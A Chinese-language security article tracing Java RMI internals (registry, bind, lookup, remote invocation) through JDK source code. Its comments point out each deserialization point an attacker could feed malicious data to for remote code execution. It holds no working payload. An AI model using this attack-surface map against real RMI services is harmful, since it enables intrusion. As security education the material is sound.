Java 反序列化過程中 RMI JRMP 以及 JNDI 多種利用方式詳解

作者: Alpha@天融信阿爾法實驗室
原文鏈接:https://mp.weixin.qq.com/s/tAPCzt6Saq5q7W0P7kBdJg

前言

Java反序列化漏洞一直都是Java Web漏洞中比較難以理解的點,尤其是碰到了RMI和JNDI種種概念時,就更加的難以理解了。筆者根據網上各類相關文章中的講解,再結合自己對RMI JRMP以及JNDI等概念的理解,對 RMI客戶端、服務端以及rmiregistry之間的關係,和三方之間的多種攻擊方式進行了詳細的介紹,希望能對各位讀者學習Java Web安全有所幫助。

RPC框架原理簡介

首先講這些之前要明白一個概念,所有編程中的高級概念,看似很高級的一些功能什麼的,都是建立於最基礎的代碼之上的,再高級也他離不開JDK。

例如此次涉及到的分佈式的概念,就是通過java的socket,序列化,反序列化和反射來實現的。

舉例說明 客戶端要調用服務端的A對象的A方法,客戶端會生成A對象的代理對象,代理對象裏通過用Socket與服務端建立聯繫,然後將A方法以及調用A方法是要傳入的參數序列化好通過socket傳輸給服務端,服務端接受反序列化接受到的數據,然後通過反射調用A對象的A方法並將參數傳入,最終將執行結果返回給客戶端,給人一種客戶端在本地調用了服務端的A對象的A方法的錯覺。

RMI流程源碼分析

到後來JAVA RMI這塊也不例外 但是爲了方便更靈活的調用發展成了以下的樣子

在客戶端(遠程方法調用者)和服務端(遠程方法提供者)之間又多了一個丙方也就所謂的Registry也就是註冊中心。

啓動這個註冊中心的代碼非常簡單,如下所示

這個Registry是一個單獨的程序 路徑位於/Library/Java/JavaVirtualMachines/jdk1.8.0_221.jdk/Contents/Home/bin/rmiregistry

2

剛剛所示的啓動RMIRegistry的代碼,也就是調用了這個rmiregistry可執行程序而已。

簡單follow一下代碼

 public static Registry createRegistry(int port) throws RemoteException {
        return new RegistryImpl(port);
    }
 public RegistryImpl(final int var1) throws RemoteException {
        this.bindings = new Hashtable(101);
        if (var1 == 1099 && System.getSecurityManager() != null) {
            try {
                    ......
        } else {
            LiveRef var2 = new LiveRef(id, var1);
            this.setup(new UnicastServerRef(var2, RegistryImpl::registryFilter));
        }

    }

很簡單 沒啥東西 liveRef裏面就四個屬性

public class LiveRef implements Cloneable {
    //指向一個TCPEndpoint對象,指定的Registry的ip地址和端口號
    private final Endpoint ep;
    //一個目前不知道做什麼用的id號
    private final ObjID id;
    //爲null
    private transient Channel ch;
    //爲true
    private final boolean isLocal;
    ......
    }

this.setup(new UnicastServerRef(var2, RegistryImpl::registryFilter));這段裏面有個參數RegistryImpl::registryFilter這個東西就是jdk1.8.121版本以後添加的registryFilter專門用來校驗傳遞進來的反序列化的類的,不在反序列化白名單內的類就不準進行反序列化操作,具體的方法代碼如下

private static Status registryFilter(FilterInfo var0) {
    if (registryFilter != null) {
        Status var1 = registryFilter.checkInput(var0);
        if (var1 != Status.UNDECIDED) {
            return var1;
        }
    }

    if (var0.depth() > 20L) {
        return Status.REJECTED;
    } else {
        Class var2 = var0.serialClass();
        if (var2 != null) {
            if (!var2.isArray()) {
              //可以很清楚的看到白名單的範圍就下面這九個類型可以被反序列化
                return String.class != var2 
                  && !Number.class.isAssignableFrom(var2) 
                  && !Remote.class.isAssignableFrom(var2) 
                  && !Proxy.class.isAssignableFrom(var2) 
                  && !UnicastRef.class.isAssignableFrom(var2) 
                  && !RMIClientSocketFactory.class.isAssignableFrom(var2) 
                  && !RMIServerSocketFactory.class.isAssignableFrom(var2) 
                  && !ActivationID.class.isAssignableFrom(var2) 
                  && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;
            } else {
                return var0.arrayLength() >= 0L && var0.arrayLength() > 1000000L ? Status.REJECTED : Status.UNDECIDED;
            }
        } else {
            return Status.UNDECIDED;
        }
    }
}

這個白名單先暫且放一放,後面用到了再說。執行完new UnicastServerRef(var2, RegistryImpl::registryFilter)後簡單看一下UnicastServerRef對象裏的內容

1

setup方法內容

 private void setup(UnicastServerRef var1) throws RemoteException {
        this.ref = var1;
        var1.exportObject(this, (Object)null, true);
    }

UnicastServerRef.exportObject() 方法內容

public Remote exportObject(Remote var1, Object var2, boolean var3) throws RemoteException {
    //獲取RegistryImpl的class對象
    Class var4 = var1.getClass();

    Remote var5;
    try {
        //Util.createProxy返回的值爲RegistryImpl_Stub,這個stub在後面會進行講解
        var5 = Util.createProxy(var4, this.getClientRef(), this.forceStubUse);
    } catch (IllegalArgumentException var7) {
        throw new ExportException("remote object implements illegal remote interface", var7);
    }
        //RegistryImpl_Stub繼承自RemoteStub判斷成功
    if (var5 instanceof RemoteStub) {
      //爲Skeleton賦值,通過this.skel = Util.createSkeleton(var1)來進行賦值,最終Util.createSkeleton(var1)返回的結果爲一個RegistryImpl_Skel對象,這個Skeleton後面也會講
        this.setSkeleton(var1);
    }
        //實例化一個Target對象
    Target var6 = new Target(var1, this, var5, this.ref.getObjID(), var3);
    //做一個綁定這個target對象裏有stub的相關信息
    this.ref.exportObject(var6);
    this.hashToMethod_Map = (Map)hashToMethod_Maps.get(var4);
    //最終LocateRegistry.createRegistry(1099)會返回一個RegistryImpl_Stub對象
    //同時啓動rmiregistry,並監聽指定端口
    return var5;
}

很好這樣啓動rmiregistry的過程就簡單分析完畢了,但是此時有一個問題,就是爲什麼會需要rmiregistry這麼一個註冊機制?客戶端和服務端之間直接通過Socket互相調用不就好了麼?就像馬士兵老師的代碼那樣。很明顯那個只是簡單的講解原理的用例,實際生產環境中肯定不會這麼簡單。

首先看下面這個RMI簡單的流程圖

3

在考慮爲什麼需要這個rmiregistry之前,先思考一個比較尷尬的問題。就是客戶端(遠程方法調用方)要想調用服務端(遠程放方法服務方)的話,客戶端要怎樣才能知道服務端用來提供遠程方法調用服務的ip地址和端口號?你說直接事先商量好然後寫死在代碼裏面?可是服務方提供的端口號都是隨機的啊,總不能我服務端每增加一個新的遠程方法提供類就手動指定一個新的端口號吧?

所以現在就很尷尬,陷入了一個死循環,客戶端想要調用服務端的方法客戶端就需要先知道服務端的地址和對應的端口號,但是客戶端又不知道因爲沒人告訴他。。。所以就相當的頭疼。

此時就有了rmiregistry這麼一個東西,我們先把rmiregistry稱爲丙方,功能很簡單,服務端每新提供一個遠程方法,都會來丙方(rmiregistry)這裏註冊一下,寫明提供該方法遠程條用服務的ip地址以及所對應的端口以及別的一些信息。

如下面的代碼所示,首先我們如果要寫一個提供遠程方法調用服務的類,首先先寫一個接口並繼承Remote接口,

public interface IHello extends Remote {
    //sayHello就是客戶端要調用的方法,需要拋出RemoteException
    public String sayHello()throws RemoteException;
}

然後寫一個類來實現這個接口

package com.rmiTest.IHelloImpl;

import com.rmiTest.IHello;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
// 該類可以選擇繼承UnicastRemoteObject,也可以通過下面註釋中的這種形式,其實本質都一樣都是調用了
// exportObject()方法
// Remote remote = UnicastRemoteObject.exportObject(new HelloImpl());
// LocateRegistry.getRegistry("127.0.0.1",1099).bind("hello",remote);
public class HelloImpl extends UnicastRemoteObject implements IHello {

    public HelloImpl() throws RemoteException {

    }

    @Override
    public String sayHello() {
        System.out.println("hello");
        return "hello";
    }
}

最後將這個HelloImpl類註冊到也可以說是綁定到rmiregistry也就是丙方中

package com.rmiTest.provider;

import com.chouXiangTest.impl.HelloServiceImpl;
import com.rmiTest.IHelloImpl.HelloImpl;

import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;

public class RMIProvider {
    public static void main(String[] args) throws RemoteException, AlreadyBoundException {
        LocateRegistry.getRegistry("127.0.0.1",1099).bind("hello",new HelloImpl());
    }
}

首先我們先跟一下HelloImpl這個遠程對象的實例化過程,首先HelloImpl是UnicastRemoteObject的子類,所以HelloImpl在實例化時會先調用UnicastRemoteObject類的構造方法,其構造方法內容如下

    protected UnicastRemoteObject(int port) throws RemoteException
    {
      //這個prot參數是用來指定遠程方法對應的端口的,默認情況下是隨機的,也可以手動傳入參數來指定
        this.port = port;
        exportObject((Remote) this, port);
    }

發現其會調用一個exportObject方法,繼續跟進該方法

private static Remote exportObject(Remote obj, UnicastServerRef sref)
    throws RemoteException
{
    // if obj extends UnicastRemoteObject, set its ref.
    if (obj instanceof UnicastRemoteObject) {
        ((UnicastRemoteObject) obj).ref = sref;
    }
    return sref.exportObject(obj, null, false);
}

繼續跟進UnicastServerRef.exportObject方法,其內部代碼如下

public Remote exportObject(Remote var1, Object var2, boolean var3) throws RemoteException {
  //獲取HelloImpl的class對象  
  Class var4 = var1.getClass();

    Remote var5;
    try {
      //這一步就是創建一個proxy對象,該proxy對象是實現了IHello接口,使用的Handler是RemoteObjectInvocationHandler
        var5 = Util.createProxy(var4, this.getClientRef(), this.forceStubUse);
    } catch (IllegalArgumentException var7) {
        throw new ExportException("remote object implements illegal remote interface", var7);
    }

    if (var5 instanceof RemoteStub) {
        this.setSkeleton(var1);
    }

    Target var6 = new Target(var1, this, var5, this.ref.getObjID(), var3);
    this.ref.exportObject(var6);
    this.hashToMethod_Map = (Map)hashToMethod_Maps.get(var4);
    return var5;
}

其中Util.createProxy()方法返回的結果如下圖所示

26

繼續跟入this.ref.exportObject(var6),經過一系列的嵌套調用,最終來到了TCPTransport的exportObject方法,該方法內容如下

public void exportObject(Target var1) throws RemoteException {
    synchronized(this) {
      //爲遠程方法開方一個端口
        this.listen();
        ++this.exportCount;
    }

    boolean var2 = false;
    boolean var12 = false;

    try {
        var12 = true;
        super.exportObject(var1);
        var2 = true;
        var12 = false;
    } finally {
        if (var12) {
            if (!var2) {
                synchronized(this) {
                    this.decrementExportCount();
                }
            }

        }
    }

此處跟進this.listen()方法,

private void listen() throws RemoteException {
    assert Thread.holdsLock(this);
        //獲取TCPEndpoint對象
    TCPEndpoint var1 = this.getEndpoint();
  //從TCPEndpoint對象中獲取端口號,默認情況下是爲0
    int var2 = var1.getPort();
    if (this.server == null) {
        if (tcpLog.isLoggable(Log.BRIEF)) {
            tcpLog.log(Log.BRIEF, "(port " + var2 + ") create server socket");
        }

        try {
          //此方法執行完成後會隨機分配一個端口號
            this.server = var1.newServerSocket();
            Thread var3 = (Thread)AccessController.doPrivileged(new NewThreadAction(new TCPTransport.AcceptLoop(this.server), "TCP Accept-" + var2, true));
            var3.start();
        } catch (BindException var4) {
            throw new ExportException("Port already in use: " + var2, var4);
        } catch (IOException var5) {
            throw new ExportException("Listen failed on port: " + var2, var5);
        }
    } else {
        SecurityManager var6 = System.getSecurityManager();
        if (var6 != null) {
            var6.checkListen(var2);
        }
    }

}

經由以上分析,我們可知每創建一個遠程方法對象,程序都會爲其創建一個獨立的線程,併爲其指定一個端口號。

在分析完了遠程方法提供對象實例化的過程後,也簡單跟一下這個getRegistry()bind()方法吧

首先是getRegistry()代碼如下

public static Registry getRegistry(String host, int port,
                                       RMIClientSocketFactory csf)
        throws RemoteException
    {
        Registry registry = null;

        if (port <= 0)
            port = Registry.REGISTRY_PORT;

        if (host == null || host.length() == 0) {
            // If host is blank (as returned by "file:" URL in 1.0.2 used in
            // java.rmi.Naming), try to convert to real local host name so
            // that the RegistryImpl's checkAccess will not fail.
            try {
                host = java.net.InetAddress.getLocalHost().getHostAddress();
            } catch (Exception e) {
                // If that failed, at least try "" (localhost) anyway...
                host = "";
            }
        }

        /*
         * Create a proxy for the registry with the given host, port, and
         * client socket factory.  If the supplied client socket factory is
         * null, then the ref type is a UnicastRef, otherwise the ref type
         * is a UnicastRef2.  If the property
         * java.rmi.server.ignoreStubClasses is true, then the proxy
         * returned is an instance of a dynamic proxy class that implements
         * the Registry interface; otherwise the proxy returned is an
         * instance of the pregenerated stub class for RegistryImpl.
         **/
        LiveRef liveRef =
            new LiveRef(new ObjID(ObjID.REGISTRY_ID),
                        new TCPEndpoint(host, port, csf, null),
                        false);
        RemoteRef ref =
            (csf == null) ? new UnicastRef(liveRef) : new UnicastRef2(liveRef);

        return (Registry) Util.createProxy(RegistryImpl.class, ref, false);
    }

關鍵點在在於後面這幾行代碼

    LiveRef liveRef =
        new LiveRef(new ObjID(ObjID.REGISTRY_ID),
                    new TCPEndpoint(host, port, csf, null),
                    false);
    RemoteRef ref =
        (csf == null) ? new UnicastRef(liveRef) : new UnicastRef2(liveRef);

    return (Registry) Util.createProxy(RegistryImpl.class, ref, false);

LocateRegistry.createRegistry()有那麼點相似

最關鍵的在於下面這行

//幾乎一模一樣 傳遞進去的第一個參數都是RegistryImpl.class,第二個參數
//第二個參數是同樣的UnicastRef裏面又包含了一個同樣的LiveRef,以及最後同樣的false
return (Registry) Util.createProxy(RegistryImpl.class, ref, false);

所以說從源碼上分析 LocateRegistry.getRegistry()LocateRegistry.createRegistry()最後的返回結果應該是一樣的,我們看一下結果

4

果然不出所料返回的同樣都是RegistryImpl_Stub對象,只不過LocateRegistry.getRegistry()執行完不會在本地再開一個監聽端口罷了。

好了 現在我們有了一個RegistryImpl_Stub對象,我們要用它來將我們的HelloImpl註冊到rmiregistry中,用到的是RegistryImpl_Stub.bind()方法。

ok,hold on 我們先來了解一下這個RegistryImpl_Stub首先該類是繼承了RemoteStub,並實現了Registry, Remote接口(我們的HelloImpl也實現了這個接口),

該類的方法不多,就下面截圖裏這麼些。沒必要全都看,先看bind就行。

5

bind方法詳細代碼如下

//var1爲字符串“hello”,var2就是咱們的HelloImpl對象
public void bind(String var1, Remote var2) throws AccessException, AlreadyBoundException, RemoteException {
    try {
      //這個就不細跟了,想想也知道是用來進行TCP通信的,裏面存了rmiregistry的地址信息,具體怎麼實現沒必要整這麼細,第三個參數0關乎到rmiregistry的RegistryImpl_Skel的dispathc方法裏的switch究竟case哪一個。
        RemoteCall var3 = this.ref.newCall(this, operations, 0, 4905912898345647071L);

        try {
            //創建一個ConnectionOutputStream對象
            ObjectOutput var4 = var3.getOutputStream();
            //序列化字符串“hello”
            var4.writeObject(var1);
            //序列化HelloImpl對象
            var4.writeObject(var2);

        } catch (IOException var5) {
            throw new MarshalException("error marshalling arguments", var5);
        }
                //向rmiregistry發送序列化數據
        this.ref.invoke(var3);
        this.ref.done(var3);

    } catch (RuntimeException var6) {
        throw var6;
    } catch (RemoteException var7) {
        throw var7;
    } catch (AlreadyBoundException var8) {
        throw var8;
    } catch (Exception var9) {
        throw new UnexpectedException("undeclared checked exception", var9);
    }
}

這裏需要注意下,這裏向rmiregistry發送的是序列化信息,既然一方有序列化的行爲那麼另一方必然會有反序列化的行爲。

到此爲止服務端也就是遠程方法服務方這邊的操作暫且告一段落,因爲此時我們的HelloImpl已經註冊到了rmiregistry中。

接下來我們返回rmiregistry的代碼,來看一看這邊的情況。

之前跟蹤rmiregistry這邊的LocateRegistry.createRegistry()這段代碼時有經過這樣一行代碼

    //RegistryImpl_Stub繼承自RemoteStub判斷成功
if (var5 instanceof RemoteStub) {
  //爲Skeleton賦值,通過this.skel = Util.createSkeleton(var1)來進行賦值,最終Util.createSkeleton(var1)返回的結果爲一個RegistryImpl_Skel對象,這個Skeleton後面也會講
    this.setSkeleton(var1);
}

這個Skeleton就是前面流程裏面的骨架,當執行完上面這兩步的時候,UnicastServerRef的skel屬性被賦值爲一個RegistryImpl_Skel對象

6

我們來看一下這個RegistryImpl_Skel的相關信息,首先該類實現了Skeleton接口,該類的方法很少,如下圖所示

7

其中最關鍵的方法就是dispatch方法,我們看下在Skeleton接口中對該方法的一個描述

/**
 * Unmarshals arguments, calls the actual remote object implementation,
 * and marshals the return value or any exception.
 * 解封裝參數,調用實際遠程對象實現,並封裝返回值或任何異常。
 * @param obj remote implementation to dispatch call to
 * @param theCall object representing remote call
 * @param opnum operation number
 * @param hash stub/skeleton interface hash
 * @exception java.lang.Exception if a general exception occurs.
 * @since JDK1.1
 * @deprecated no replacement
 */
@Deprecated
void dispatch(Remote obj, RemoteCall theCall, int opnum, long hash)
    throws Exception;

不難理解該方法就是對傳入的遠程調用信息進行分派調度的。其部分代碼如下。

//之前在服務端時進行LocateRegistry.getRegistry().bind()操作時
// RemoteCall var3 = this.ref.newCall(this, operations, 0, 4905912898345647071L);
//在這一步中封裝了四個參數 有三個在這裏用到了 var3爲0,var2爲即爲StreamRemoteCall,封裝有“hello”字符串和HelloImpl對象的序列化信息。
public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
    if (var3 < 0) {
        if (var4 == 7583982177005850366L) {
            var3 = 0;
        } else if (var4 == 2571371476350237748L) {
            var3 = 1;
        } else if (var4 == -7538657168040752697L) {
            var3 = 2;
        } else if (var4 == -8381844669958460146L) {
            var3 = 3;
        } else {
            if (var4 != 7305022919901907578L) {
                throw new UnmarshalException("invalid method hash");
            }

            var3 = 4;
        }
    } else if (var4 != 4905912898345647071L) {
        throw new SkeletonMismatchException("interface hash mismatch");
    }
        //這個RegistryImpl會在rmiregistry運行期間一直存在,稍後會仔細講解
    RegistryImpl var6 = (RegistryImpl)var1;
    String var7;
    ObjectInput var8;
    ObjectInput var9;
    Remote var80;
    switch(var3) {
    //var3的值爲0,自然是case0
    case 0:
        RegistryImpl.checkAccess("Registry.bind");

        try {
            //獲取輸入流
            var9 = var2.getInputStream();
                //反序列化“hello”字符串
            var7 = (String)var9.readObject();
            //這個位置本來是屬於反序列化出來的“HelloImpl”對象的,但是最終結果得到的是一個Proxy對像
            //這個很關鍵,這個Proxy對象即所爲的Stub(存根),客戶端就是通過這個Stub來知道服務端的地址和端口號從                            而進行通信的。
            //這裏的反序列化點很明顯是我們可以利用的,通過RMI服務端執行bind,我們就可以攻擊rmiregistry注                冊中心,導致其反序列化RCE
            var80 = (Remote)var9.readObject();
        } catch (ClassNotFoundException | IOException var77) {
            throw new UnmarshalException("error unmarshalling arguments", var77);
        } finally {
            var2.releaseInputStream();
        }
                //RegistryImpl對象有一個binding屬性,是一個HashMap,這個HashMap裏存儲了所有註冊了的遠程調用方法的方法名,和其對應的stub。
        var6.bind(var7, var80);
                ......
    }

}

我們來看一個這個binding屬性裏的詳細信息

8

從這裏我們明白了rmiregistry的本質就是一個HashMap,所有註冊過的遠程方法以鍵值對的形式存放在這裏,當客戶端來查詢時,rmiregistry將對應的鍵值對中的Proxy返回給客戶端,這樣客戶端就知道了服務端的地址和所對應的端口號,就可以進行通信了。

這其中有一個比較關鍵的類,在後續的繞過高版本JDK JEP290的白名單是會用到,就是UnicastRef,詳觀察不難發現該對象中存有rmi服務端的ip地址以及對應遠程方法的端口號,該類在客戶端、rmiregistry、以及服務端的通信中都起到了非常重要的作用,UnicastRef中有一個newCall方法 具體代碼如下。

public RemoteCall newCall(RemoteObject var1, Operation[] var2, int var3, long var4) throws RemoteException {
    clientRefLog.log(Log.BRIEF, "get connection");
    Connection var6 = this.ref.getChannel().newConnection();

    try {
        clientRefLog.log(Log.VERBOSE, "create call context");
        if (clientCallLog.isLoggable(Log.VERBOSE)) {
            this.logClientCall(var1, var2[var3]);
        }

        StreamRemoteCall var7 = new StreamRemoteCall(var6, this.ref.getObjID(), var3, var4);

        try {
            this.marshalCustomCallData(var7.getOutputStream());
        } catch (IOException var9) {
            throw new MarshalException("error marshaling custom call data");
        }

        return var7;
    } catch (RemoteException var10) {
        this.ref.getChannel().free(var6, false);
        throw var10;
    }
}

該方法會在java的DGC(分佈式垃圾回收機制)中被調用,DGC則是我們繞過高版本JDK反序列化限制的一個重要的環節

首先客戶端的代碼

package com.rmiTest.customer;

import com.rmiTest.IHello;

import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;

public class RMICustomer {
    public static void main(String[] args) throws RemoteException, NotBoundException {
        IHello hello = (IHello) LocateRegistry.getRegistry("127.0.0.1", 1099).lookup("hello");
        System.out.println(hello.sayHello());
    }
}

LocateRegistry.getRegistry()沒必要再分析一遍了,直接看lookup方法,部分代碼如下

public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException {
    try {
        //可以看到這次傳遞的第三個參數就不是0而是2了,同樣的返回一個StreamRemoteCall對象
        RemoteCall var2 = this.ref.newCall(this, operations, 2, 4905912898345647071L);

        try {
            //同樣的生成一個ConnectionOutputStream對象
            ObjectOutput var3 = var2.getOutputStream();
            //序列化“hello”字符串
            var3.writeObject(var1);
        } catch (IOException var17) {
            throw new MarshalException("error marshalling arguments", var17);
        }
                //和rmiregistry進行通信查詢
        this.ref.invoke(var2);

        Remote var22;
        try {
            //獲取rmiregistry返回的輸入流
            ObjectInput var4 = var2.getInputStream();
            //反序列化返回的Stub
            //同樣在反序列化rmiregistry返回的Stub時這個點我們也可以利用lookup方法,理論上,我們可以在客                           戶端用它去主動攻擊RMI Registry,也能通過RMI Registry去被動攻擊客戶端
            var22 = (Remote)var4.readObject();
......
        } finally {
            this.ref.done(var2);
        }
        return var22;
......
}

這裏又提到了Stub我們來看看其反序列化完成後是什麼樣的吧

9

和之前在rmiregistry中看到的那個HashMap中的值一模一樣,這下客戶端就知道服務端的地址和端口號了,通過這些信息就可以和服務端進行通信了。

不過在此之前在看一下rmiregistry是怎麼處理客戶端的查詢信息的。

//爲什麼走case2 這裏就不再重提了
case 2:
    try {
        //獲取客戶端傳來的輸入流
        var8 = var2.getInputStream();
        //反序列化字符串“hello”
        //同樣在反序列化客戶端傳來的查詢數據時,這個點我們也可以利用lookup方法,理論上,我們可以在客                          戶端用它去主動攻擊RMI Registry,也能通過RMI Registry去被動攻擊客戶端
        //儘管lookup時客戶端似乎只能傳遞String類型,但是還是那句話,只要後臺不做限制,客戶端的東西皆可控
        var7 = (String)var8.readObject();
    } catch (ClassNotFoundException | IOException var73) {
        throw new UnmarshalException("error unmarshalling arguments", var73);
    } finally {
        var2.releaseInputStream();
    }
        //調用RegistryImpl.lookup方法,返回的查詢結果就是hello所對應的那個Proxy對象
    var80 = var6.lookup(var7);

    try {
      //實例化一個輸出流
        ObjectOutput var82 = var2.getResultStream(true);
      //序列化Proxy對象
        var82.writeObject(var80);
        break;
    } catch (IOException var72) {
        throw new MarshalException("error marshalling return", var72);
    }

如此這般,這般如此,rmiregistry這塊處理客戶端的查詢信息的部分就簡單分析完了。

然後回到客戶端這裏

    //返回一個實現了IHello接口的Proxy對象
    IHello hello = (IHello) LocateRegistry.getRegistry("127.0.0.1", 1099).lookup("hello");
        //表面上時執行sayHello方法,實際上執行的是Proxy對象的Invoke方法
    System.out.println(hello.sayHello());

貼一下調用鏈

10

可以看到核心內容都在UnicastRef的Invoke方法, 下面是該方法的部分代碼

//var1 爲當前的Proxy對象,
public Object invoke(Remote var1, Method var2, Object[] var3, long var4) throws Exception {

    ......
    //創建一個鏈接對象
    Connection var6 = this.ref.getChannel().newConnection();
    StreamRemoteCall var7 = null;
    boolean var8 = true;
    boolean var9 = false;

    Object var13;
    try {
            ......
        //和getRegistry()與creatRegistry()一樣 ,第三個參數爲-1,但是這次調用的並不是                                                     RegistryImpl_Skel.bind方法        
        var7 = new StreamRemoteCall(var6, this.ref.getObjID(), -1, var4);

        Object var11;
        try {
            //獲取輸出流
            ObjectOutput var10 = var7.getOutputStream();
            //雖然沒看裏面的具體實現但是猜也能猜得到裏面在序列化了一些東西
            this.marshalCustomCallData(var10);
            //獲取要傳遞的參數類型,可是這次我們沒傳參數所以就沒有
            var11 = var2.getParameterTypes();
            //如果傳遞的有參數的話會執行下面這個for循環,把參數相關的信息也序列化到裏面
            for(int var12 = 0; var12 < ((Object[])var11).length; ++var12) {
                        //由於該方法會將調用的遠程方法的參數進行反序列化,由此此處也可以進行利用,可以稱爲客戶端對服務端進行反序列化攻擊的點
              //也就是說,在這個遠程調用的過程中,我們可以想辦法,把參數的序列化數據替換成惡意序列化數據,我們就能攻擊服務端,而服務端,也能替換其返回的序列化數據爲惡意序列化數據,進而被動攻擊客戶端。
                    marshalValue((Class)((Object[])var11)[var12], var3[var12], var10);
                }
                        ......

        }
                //像服務端發送序列化的數據
        var7.executeCall();

        try {
            //獲取該遠程方法的返回值類型
            Class var46 = var2.getReturnType();

                ......
            //獲取輸入流  
            var11 = var7.getInputStream();
            //解封裝參數將返回值賦值給var46,也就是把返回的結果字符串“hello”賦值給var47
            //既然將返回的參數還原了,那麼其中必定包含了反序列化,由此此處可以是服務端對客戶端進行反序列化攻擊的                         點
          //也就是說,在這個遠程調用的過程中,我們可以想辦法,把參數的序列化數據替換成惡意序列化數據,我們就能攻擊服務端,而服務端,也能替換其返回的序列化數據爲惡意序列化數據,進而被動攻擊客戶端。
            Object var47 = unmarshalValue(var46, (ObjectInput)var11);
            var9 = true;
            clientRefLog.log(Log.BRIEF, "free connection (reuse = true)");
            //釋放鏈接通道
            this.ref.getChannel().free(var6, true);
            var13 = var47;
        } catch (ClassNotFoundException | IOException var40) {

                        ......

        } finally {
            try {
                var7.done();
            } catch (IOException var38) {
                ......
            }

        }
    } catch (RuntimeException var42) {

            ......

    }
    //最終返回var46的值
    return var13;
}

ok客戶端這邊的處理過程到此就已經完畢了,接下來跟到服務端看一看。

11

根據調用鏈信息,先來看UnicastServerRef.dispatch()方法

//Var1爲實現了Remote接口的HelloImpl對象,Var2爲客戶端傳來的StreamRemoteCall對象該對象裏有ConnectionInputStream,也就是說遠程調用的參數都在這裏面存着
public void dispatch(Remote var1, RemoteCall var2) throws IOException {
    try {
        int var3;
        ObjectInput var41;
        try {
            //獲取輸入流
            var41 = var2.getInputStream();
            //讀出來-1
            var3 = var41.readInt();
        } catch (Exception var38) {
            throw new UnmarshalException("error unmarshalling call header", var38);
        }

        if (this.skel != null) {
            this.oldDispatch(var1, var2, var3);
            return;
        }

        if (var3 >= 0) {
            throw new UnmarshalException("skeleton class not found but required for client version");
        }

        long var4;
        try {
            var4 = var41.readLong();
        } catch (Exception var37) {
            throw new UnmarshalException("error unmarshalling call header", var37);
        }

        MarshalInputStream var7 = (MarshalInputStream)var41;
        var7.skipDefaultResolveClass();
        Method var42 = (Method)this.hashToMethod_Map.get(var4);
        if (var42 == null) {
            throw new UnmarshalException("unrecognized method hash: method not supported by remote object");
        }

        this.logCall(var1, var42);
        Object[] var9 = null;

        try {
            this.unmarshalCustomCallData(var41);
            //從 ConnectionInputStream裏反序列化出遠程調用的參數
            //這裏就是客戶端可以用來攻擊服務端的點,因爲這裏對遠程調用方法的參數進行了反序列化,由此我們可以傳遞                          惡意的反序列化數據進來
            var9 = this.unmarshalParameters(var1, var42, var7);
        } catch (AccessException var34) {
            ((StreamRemoteCall)var2).discardPendingRefs();
            throw var34;
        } catch (ClassNotFoundException | IOException var35) {
            ((StreamRemoteCall)var2).discardPendingRefs();
            throw new UnmarshalException("error unmarshalling arguments", var35);
        } finally {
            var2.releaseInputStream();
        }

        Object var10;
        try {
            //反射調用對應的遠程方法
            var10 = var42.invoke(var1, var9);
        } catch (InvocationTargetException var33) {
            throw var33.getTargetException();
        }

        try {
            //獲取輸出流
            ObjectOutput var11 = var2.getResultStream(true);
            //獲取返回值類型
            Class var12 = var42.getReturnType();
            if (var12 != Void.TYPE) {
                //序列化返回值等信息,同樣也可以序列化一些惡意類信息
                marshalValue(var12, var10, var11);
            }
        } catch (IOException var32) {
            throw new MarshalException("error marshalling return", var32);
        }
    } catch (Throwable var39) {
        Object var6 = var39;
        this.logCallException(var39);
        ObjectOutput var8 = var2.getResultStream(false);
        if (var39 instanceof Error) {
            var6 = new ServerError("Error occurred in server thread", (Error)var39);
        } else if (var39 instanceof RemoteException) {
            var6 = new ServerException("RemoteException occurred in server thread", (Exception)var39);
        }

        if (suppressStackTraces) {
            clearStackTraces((Throwable)var6);
        }

        var8.writeObject(var6);
        if (var39 instanceof AccessException) {
            throw new IOException("Connection is not reusable", var39);
        }
    } finally {
        var2.releaseInputStream();
        var2.releaseOutputStream();
    }

}

好了服務端這邊也簡單的分析完了,我們來總結一下,在這些過程中可以利用的反序列化點。

首先是服務端調用bind方法像rmiregistry註冊遠程方法的信息時,在執行的過程中,調用了RegistryImpl_Skel.dispatch方法,反序列化服務端傳來的數據,此爲一個利用點,我們可以修改傳遞的數據從而達到從服務端對rmiregistry進行反序列化攻擊

        var9 = var2.getInputStream();
            //反序列化“hello”字符串
        var7 = (String)var9.readObject();
        //這個位置本來是屬於反序列化出來的“HelloImpl”對象的,但是最終結果得到的是一個Proxy對像
        //這個很關鍵,這個Proxy對象即所爲的Stub(存根),客戶端就是通過這個Stub來知道服務端的地址和端口號從                            而進行通信的。
        //這裏的反序列化點很明顯是我們可以利用的,通過RMI服務端執行bind,我們就可以攻擊rmiregistry注                冊中心,導致其反序列化RCE
        var80 = (Remote)var9.readObject();

接下來就是客戶端調用lookup方法向rmiregistry進行遠程方法信息查詢時, rmiregistry反序列化了客戶端傳來的數據,這樣以來我們就在客戶端像rmiregistry查詢時來構造惡意的反序列化數據。

    //獲取客戶端傳來的輸入流
    var8 = var2.getInputStream();
    //反序列化字符串“hello”
    //同樣在反序列化客戶端傳來的查詢數據時,這個點我們也可以利用lookup方法,理論上,我們可以在客                          戶端用它去主動攻擊RMI Registry,也能通過RMI Registry去被動攻擊客戶端
    //儘管lookup時客戶端似乎只能傳遞String類型,但是還是那句話,只要後臺不做限制,客戶端的東西皆可控
    var7 = (String)var8.readObject();

然後就是客戶端處理rmiregistry返回的數據時,我們已知正常情況下rmiregistry回返回一個實現了Remote的Proxy對象,但是我們也可以利用rmiregistry返回一些惡意的反序列化對象給客戶端,從而進行反序列化攻擊。

        //獲取rmiregistry返回的輸入流
        ObjectInput var4 = var2.getInputStream();
        //反序列化返回的Stub
        //同樣在反序列化rmiregistry返回的Stub時這個點我們也可以利用lookup方法,理論上,我們可以在客                           戶端用它去主動攻擊RMI Registry,也能通過RMI Registry去被動攻擊客戶端
        var22 = (Remote)var4.readObject();

